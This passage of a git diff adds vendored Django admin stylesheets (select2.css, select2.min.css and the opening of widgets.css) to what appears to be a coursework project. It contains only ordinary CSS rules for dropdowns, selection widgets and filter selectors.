b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.css new file mode 100644 index 0000000..750b320 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.css @@ -0,0 +1,481 @@ +.select2-container { + box-sizing: border-box; + display: inline-block; + margin: 0; + position: relative; + vertical-align: middle; } + .select2-container .select2-selection--single { + box-sizing: border-box; + cursor: pointer; + display: block; + height: 28px; + user-select: none; + -webkit-user-select: none; } + .select2-container .select2-selection--single .select2-selection__rendered { + display: block; + padding-left: 8px; + padding-right: 20px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; } + .select2-container .select2-selection--single .select2-selection__clear { + position: relative; } + .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { + padding-right: 8px; + padding-left: 20px; } + .select2-container .select2-selection--multiple { + box-sizing: border-box; + cursor: pointer; + display: block; + min-height: 32px; + user-select: none; + -webkit-user-select: none; } + .select2-container .select2-selection--multiple .select2-selection__rendered { + display: inline-block; + overflow: hidden; + padding-left: 8px; + text-overflow: ellipsis; + white-space: nowrap; } + .select2-container .select2-search--inline { + float: left; } + .select2-container .select2-search--inline .select2-search__field { + box-sizing: border-box; + border: none; + font-size: 100%; + margin-top: 5px; + padding: 0; } + .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button { + -webkit-appearance: none; } + +.select2-dropdown { + background-color: white; + border: 1px solid #aaa; + border-radius: 4px; + box-sizing: border-box; + display: block; + position: absolute; + left: -100000px; + width: 100%; + z-index: 1051; } + +.select2-results { + display: block; } + +.select2-results__options { + list-style: none; + margin: 0; + padding: 0; } + +.select2-results__option { + padding: 6px; + user-select: none; + -webkit-user-select: none; } + .select2-results__option[aria-selected] { + cursor: pointer; } + +.select2-container--open .select2-dropdown { + left: 0; } + +.select2-container--open .select2-dropdown--above { + border-bottom: none; + border-bottom-left-radius: 0; + border-bottom-right-radius: 0; } + +.select2-container--open .select2-dropdown--below { + border-top: none; + border-top-left-radius: 0; + border-top-right-radius: 0; } + +.select2-search--dropdown { + display: block; + padding: 4px; } + .select2-search--dropdown .select2-search__field { + padding: 4px; + width: 100%; + box-sizing: border-box; } + .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button { + -webkit-appearance: none; } + .select2-search--dropdown.select2-search--hide { + display: none; } + +.select2-close-mask { + border: 0; + margin: 0; + padding: 0; + display: block; + position: fixed; + left: 0; + top: 0; + min-height: 100%; + min-width: 100%; + height: auto; + width: auto; + opacity: 0; + z-index: 99; + background-color: #fff; + filter: alpha(opacity=0); } + +.select2-hidden-accessible { + border: 0 !important; + clip: rect(0 0 0 0) !important; + -webkit-clip-path: inset(50%) !important; + clip-path: inset(50%) !important; + height: 1px !important; + overflow: hidden !important; + padding: 0 !important; + position: absolute !important; + width: 1px !important; + white-space: nowrap !important; } + +.select2-container--default .select2-selection--single { + background-color: #fff; + border: 1px solid #aaa; + border-radius: 4px; } + .select2-container--default .select2-selection--single .select2-selection__rendered { + color: #444; + line-height: 28px; } + .select2-container--default .select2-selection--single .select2-selection__clear { + cursor: pointer; + float: right; + font-weight: bold; } + .select2-container--default .select2-selection--single .select2-selection__placeholder { + color: #999; } + .select2-container--default .select2-selection--single .select2-selection__arrow { + height: 26px; + position: absolute; + top: 1px; + right: 1px; + width: 20px; } + .select2-container--default .select2-selection--single .select2-selection__arrow b { + border-color: #888 transparent transparent transparent; + border-style: solid; + border-width: 5px 4px 0 4px; + height: 0; + left: 50%; + margin-left: -4px; + margin-top: -2px; + position: absolute; + top: 50%; + width: 0; } + +.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear { + float: left; } + +.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow { + left: 1px; + right: auto; } + +.select2-container--default.select2-container--disabled .select2-selection--single { + background-color: #eee; + cursor: default; } + .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear { + display: none; } + +.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b { + border-color: transparent transparent #888 transparent; + border-width: 0 4px 5px 4px; } + +.select2-container--default .select2-selection--multiple { + background-color: white; + border: 1px solid #aaa; + border-radius: 4px; + cursor: text; } + .select2-container--default .select2-selection--multiple .select2-selection__rendered { + box-sizing: border-box; + list-style: none; + margin: 0; + padding: 0 5px; + width: 100%; } + .select2-container--default .select2-selection--multiple .select2-selection__rendered li { + list-style: none; } + .select2-container--default .select2-selection--multiple .select2-selection__clear { + cursor: pointer; + float: right; + font-weight: bold; + margin-top: 5px; + margin-right: 10px; + padding: 1px; } + .select2-container--default .select2-selection--multiple .select2-selection__choice { + background-color: #e4e4e4; + border: 1px solid #aaa; + border-radius: 4px; + cursor: default; + float: left; + margin-right: 5px; + margin-top: 5px; + padding: 0 5px; } + .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { + color: #999; + cursor: pointer; + display: inline-block; + font-weight: bold; + margin-right: 2px; } + .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { + color: #333; } + +.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline { + float: right; } + +.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice { + margin-left: 5px; + margin-right: auto; } + +.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { + margin-left: 2px; + margin-right: auto; } + +.select2-container--default.select2-container--focus .select2-selection--multiple { + border: solid black 1px; + outline: 0; } + +.select2-container--default.select2-container--disabled .select2-selection--multiple { + background-color: #eee; + cursor: default; } + +.select2-container--default.select2-container--disabled .select2-selection__choice__remove { + display: none; } + +.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple { + border-top-left-radius: 0; + border-top-right-radius: 0; } + +.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { + border-bottom-left-radius: 0; + border-bottom-right-radius: 0; } + +.select2-container--default .select2-search--dropdown .select2-search__field { + border: 1px solid #aaa; } + +.select2-container--default .select2-search--inline .select2-search__field { + background: transparent; + border: none; + outline: 0; + box-shadow: none; + -webkit-appearance: textfield; } + +.select2-container--default .select2-results > .select2-results__options { + max-height: 200px; + overflow-y: auto; } + +.select2-container--default .select2-results__option[role=group] { + padding: 0; } + +.select2-container--default .select2-results__option[aria-disabled=true] { + color: #999; } + +.select2-container--default .select2-results__option[aria-selected=true] { + background-color: #ddd; } + +.select2-container--default .select2-results__option .select2-results__option { + padding-left: 1em; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__group { + padding-left: 0; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__option { + margin-left: -1em; + padding-left: 2em; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -2em; + padding-left: 3em; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -3em; + padding-left: 4em; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -4em; + padding-left: 5em; } + .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { + margin-left: -5em; + padding-left: 6em; } + +.select2-container--default .select2-results__option--highlighted[aria-selected] { + background-color: #5897fb; + color: white; } + +.select2-container--default .select2-results__group { + cursor: default; + display: block; + padding: 6px; } + +.select2-container--classic .select2-selection--single { + background-color: #f7f7f7; + border: 1px solid #aaa; + border-radius: 4px; + outline: 0; + background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%); + background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%); + background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } + .select2-container--classic .select2-selection--single:focus { + border: 1px solid #5897fb; } + .select2-container--classic .select2-selection--single .select2-selection__rendered { + color: #444; + line-height: 28px; } + .select2-container--classic .select2-selection--single .select2-selection__clear { + cursor: pointer; + float: right; + font-weight: bold; + margin-right: 10px; } + .select2-container--classic .select2-selection--single .select2-selection__placeholder { + color: #999; } + .select2-container--classic .select2-selection--single .select2-selection__arrow { + background-color: #ddd; + border: none; + border-left: 1px solid #aaa; + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; + height: 26px; + position: absolute; + top: 1px; + right: 1px; + width: 20px; + background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%); + background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%); + background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); } + .select2-container--classic .select2-selection--single .select2-selection__arrow b { + border-color: #888 transparent transparent transparent; + border-style: solid; + border-width: 5px 4px 0 4px; + height: 0; + left: 50%; + margin-left: -4px; + margin-top: -2px; + position: absolute; + top: 50%; + width: 0; } + +.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear { + float: left; } + +.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { + border: none; + border-right: 1px solid #aaa; + border-radius: 0; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; + left: 1px; + right: auto; } + +.select2-container--classic.select2-container--open .select2-selection--single { + border: 1px solid #5897fb; } + .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow { + background: transparent; + border: none; } + .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b { + border-color: transparent transparent #888 transparent; + border-width: 0 4px 5px 4px; } + +.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single { + border-top: none; + border-top-left-radius: 0; + border-top-right-radius: 0; + background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%); + background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%); + background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } + +.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single { + border-bottom: none; + border-bottom-left-radius: 0; + border-bottom-right-radius: 0; + background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%); + background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%); + background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); } + +.select2-container--classic .select2-selection--multiple { + background-color: white; + border: 1px solid #aaa; + border-radius: 4px; + cursor: text; + outline: 0; } + .select2-container--classic .select2-selection--multiple:focus { + border: 1px solid #5897fb; } + .select2-container--classic .select2-selection--multiple .select2-selection__rendered { + list-style: none; + margin: 0; + padding: 0 5px; } + .select2-container--classic .select2-selection--multiple .select2-selection__clear { + display: none; } + .select2-container--classic .select2-selection--multiple .select2-selection__choice { + background-color: #e4e4e4; + border: 1px solid #aaa; + border-radius: 4px; + cursor: default; + float: left; + margin-right: 5px; + margin-top: 5px; + padding: 0 5px; } + .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove { + color: #888; + cursor: pointer; + display: inline-block; + font-weight: bold; + margin-right: 2px; } + .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover { + color: #555; } + +.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { + float: right; + margin-left: 5px; + margin-right: auto; } + +.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { + margin-left: 2px; + margin-right: auto; } + +.select2-container--classic.select2-container--open .select2-selection--multiple { + border: 1px solid #5897fb; } + +.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple { + border-top: none; + border-top-left-radius: 0; + border-top-right-radius: 0; } + +.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple { + border-bottom: none; + border-bottom-left-radius: 0; + border-bottom-right-radius: 0; } + +.select2-container--classic .select2-search--dropdown .select2-search__field { + border: 1px solid #aaa; + outline: 0; } + +.select2-container--classic .select2-search--inline .select2-search__field { + outline: 0; + box-shadow: none; } + +.select2-container--classic .select2-dropdown { + background-color: white; + border: 1px solid transparent; } + +.select2-container--classic .select2-dropdown--above { + border-bottom: none; } + +.select2-container--classic .select2-dropdown--below { + border-top: none; } + +.select2-container--classic .select2-results > .select2-results__options { + max-height: 200px; + overflow-y: auto; } + +.select2-container--classic .select2-results__option[role=group] { + padding: 0; } + +.select2-container--classic .select2-results__option[aria-disabled=true] { + color: grey; } + +.select2-container--classic .select2-results__option--highlighted[aria-selected] { + background-color: #3875d7; + color: white; } + +.select2-container--classic .select2-results__group { + cursor: default; + display: block; + padding: 6px; } + +.select2-container--classic.select2-container--open .select2-dropdown { + border-color: #5897fb; } diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.min.css b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.min.css new file mode 100644 index 0000000..7c18ad5 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.min.css @@ -0,0 +1 @@ +.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/widgets.css b/Semaine_11/Jour_04/staticfiles/admin/css/widgets.css new file mode 100644 index 0000000..43271f8 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/widgets.css @@ -0,0 +1,606 @@ +/* SELECTOR (FILTER INTERFACE) */ + +.selector { + display: flex; + flex: 1; + gap: 0 10px; +} + +.selector select { + height: 17.2em; + flex: 1 0 auto; + overflow: scroll; + width: 100%; +} + +.selector-available, .selector-chosen { + display: flex; + flex-direction: column; + flex: 1 1; +} + +.selector-available-title, .selector-chosen-title { + border: 1px solid var(--border-color); + border-radius: 4px 4px 0 0; +} + +.selector .helptext { + font-size: 0.6875rem; +} + +.selector-chosen .list-footer-display { + border: 1px solid var(--border-color); + border-top: none; + border-radius: 0 0 4px 4px; + margin: 0 0 10px; + padding: 8px; + text-align: center; + background: var(--primary); + color: var(--header-link-color); + cursor: pointer; +} +.selector-chosen .list-footer-display__clear { + color: var(--breadcrumbs-fg); +} + +.selector-chosen-title { + background: var(--secondary); + color: var(--header-link-color); + padding: 8px; +} + +.selector-chosen-title label { + color: var(--header-link-color); + width: 100%; +} + +.selector-available-title { + background: var(--darkened-bg); + color: var(--body-quiet-color); + padding: 8px; +} + +.selector-available-title label { + width: 100%; +} + +.selector .selector-filter { + border: 1px solid var(--border-color); + border-width: 0 1px; + padding: 8px; + color: var(--body-quiet-color); + font-size: 0.625rem; + margin: 0; + text-align: left; + display: flex; + gap: 8px; +} + +.selector .selector-filter label, +.inline-group .aligned .selector .selector-filter label { + float: left; + margin: 7px 0 0; + width: 18px; + height: 18px; + padding: 0; + overflow: hidden; + line-height: 1; + min-width: auto; +} + +.selector-filter input { + flex-grow: 1; +} + +.selector ul.selector-chooser { + align-self: center; + width: 30px; + background-color: var(--selected-bg); + border-radius: 10px; + margin: 0; + padding: 0; + transform: translateY(-17px); +} + +.selector-chooser li { + margin: 0; + padding: 3px; + list-style-type: none; +} + +.selector select { + padding: 0 10px; + margin: 0 0 10px; + border-radius: 0 0 4px 4px; +} +.selector .selector-chosen--with-filtered select { + margin: 0; + border-radius: 0; + height: 14em; +} + +.selector .selector-chosen:not(.selector-chosen--with-filtered) .list-footer-display { + display: none; +} + +.selector-add, .selector-remove { + width: 24px; + height: 24px; + display: block; + text-indent: -3000px; + overflow: hidden; + cursor: default; + opacity: 0.55; + border: none; +} + +:enabled.selector-add, :enabled.selector-remove { + opacity: 1; +} + +:enabled.selector-add:hover, :enabled.selector-remove:hover { + cursor: pointer; +} + +.selector-add { + background: url(../img/selector-icons.svg) 0 -144px no-repeat; + background-size: 24px auto; +} + +:enabled.selector-add:focus, :enabled.selector-add:hover { + background-position: 0 -168px; +} + +.selector-remove { + background: url(../img/selector-icons.svg) 0 -96px no-repeat; + background-size: 24px auto; +} + +:enabled.selector-remove:focus, :enabled.selector-remove:hover { + background-position: 0 -120px; +} + +.selector-chooseall, .selector-clearall { + display: inline-block; + text-align: left; + padding: 4px 5px; + margin: 0 auto; + overflow: hidden; + color: var(--button-fg); + background-color: var(--button-bg); + text-decoration: none; + opacity: 0.55; + border: none; + border-radius: 4px; +} + +:enabled.selector-chooseall:focus, :enabled.selector-clearall:focus, +:enabled.selector-chooseall:hover, :enabled.selector-clearall:hover { + background-color: var(--button-hover-bg); +} + +:enabled.selector-chooseall, :enabled.selector-clearall { + opacity: 1; +} + +:enabled.selector-chooseall:hover, :enabled.selector-clearall:hover { + cursor: pointer; +} + +:enabled.selector-chooseall:focus, :enabled.selector-chooseall:hover { + background-position: 100% -176px; +} + +:enabled.selector-clearall:focus, :enabled.selector-clearall:hover { + background-position: 0 -144px; +} + +/* STACKED SELECTORS */ + +.stacked { + float: left; + width: 490px; + display: block; +} + +.stacked select { + width: 480px; + height: 10.1em; +} + +.stacked .selector-available, .stacked .selector-chosen { + width: 480px; +} + +.stacked .selector-available { + margin-bottom: 0; +} + +.stacked .selector-available input { + width: 422px; +} + +.stacked ul.selector-chooser { + display: flex; + height: 30px; + width: 64px; + margin: 0 0 10px 40%; + background-color: #eee; + border-radius: 10px; + transform: none; +} + +.stacked .selector-chooser li { + float: left; + padding: 3px 3px 3px 5px; +} + +.stacked .selector-chooseall, .stacked .selector-clearall { + display: none; +} + +.stacked .selector-add { + background: url(../img/selector-icons.svg) 0 -48px no-repeat; + background-size: 24px auto; + cursor: default; +} + +.stacked :enabled.selector-add { + background-position: 0 -48px; + cursor: pointer; +} + +.stacked :enabled.selector-add:focus, .stacked :enabled.selector-add:hover { + background-position: 0 -72px; + cursor: pointer; +} + +.stacked .selector-remove { + background: url(../img/selector-icons.svg) 0 0 no-repeat; + background-size: 24px auto; + cursor: default; +} + +.stacked :enabled.selector-remove { + background-position: 0 0px; + cursor: pointer; +} + +.stacked :enabled.selector-remove:focus, .stacked :enabled.selector-remove:hover { + background-position: 0 -24px; + cursor: pointer; +} + +.selector .help-icon { + background: url(../img/icon-unknown.svg) 0 0 no-repeat; + display: 